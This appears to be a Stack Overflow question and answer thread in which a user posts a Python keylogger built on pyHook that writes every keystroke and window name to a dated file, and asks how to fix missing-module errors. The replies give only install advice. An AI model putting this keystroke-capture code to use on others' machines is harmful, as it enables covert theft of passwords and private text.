1

So in my code i have all the modules that i am using installed, but i always get the error saying it cannot find the module. Please help thanks.

Code:

    import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt" 
x = time.ctime()
with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )


def OnKeyboardEvent(event):
    global x 

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
            f.write("[" + x +"|"+event.WindowName + "] : " )

    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")

    else :
        with open(date, "a") as f:
            f.write(event.Key)


    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Ignacio Vergara Kausel
  • 5,521
  • 4
  • 31
  • 41
crazy_angel
  • 65
  • 1
  • 10

1 Answers1

0

Try the following:

First, download the pyhook from here, make sure you chose the correct version.

Second, open cmd at the downloaded folder and type pip install pyHook-1.5.1-cp27-none-win32.whl or if you chose other version, type the relevant version.

omri_saadon
  • 10,193
  • 7
  • 33
  • 58
  • thanks mate that fixed the pyHook problem but im still getting the same issue with Pythoncom and when i do the pip thing i get a long red code and it doesnt work in python. – crazy_angel Jun 01 '17 at 13:38
  • You can read [here](https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom) for pythoncom help. Kindly ask to accept the answer whether it resolved your issue. – omri_saadon Jun 01 '17 at 13:41
  • Tnx, please update whether the pythoncom lib problem is fixed. – omri_saadon Jun 01 '17 at 13:43
  • no sorry, when i ran the exe file it froze for a while and said i did not have python 2.7(which i do). It happens every time i try it even with re downloading it. – crazy_angel Jun 01 '17 at 13:45
  • Did you install pywin32? – omri_saadon Jun 01 '17 at 13:47
  • yeah so idk what to do – crazy_angel Jun 01 '17 at 13:57
  • heres what happens when i try to use pip with it, if it helps at all. https://imgur.com/a/44oaA – crazy_angel Jun 01 '17 at 13:59
  • Take a look at this [answer](https://stackoverflow.com/questions/11106281/error-installing-and-running-pywin32-2-7/21081675) – omri_saadon Jun 01 '17 at 14:19
  • I am getting the same error (ModuleNotFoundError: No module named 'pyHook') but when I run "pip install pyhook" from cmd, I get the following message: "Requirement already satisfied: pyhook" – user3125707 Aug 16 '18 at 14:14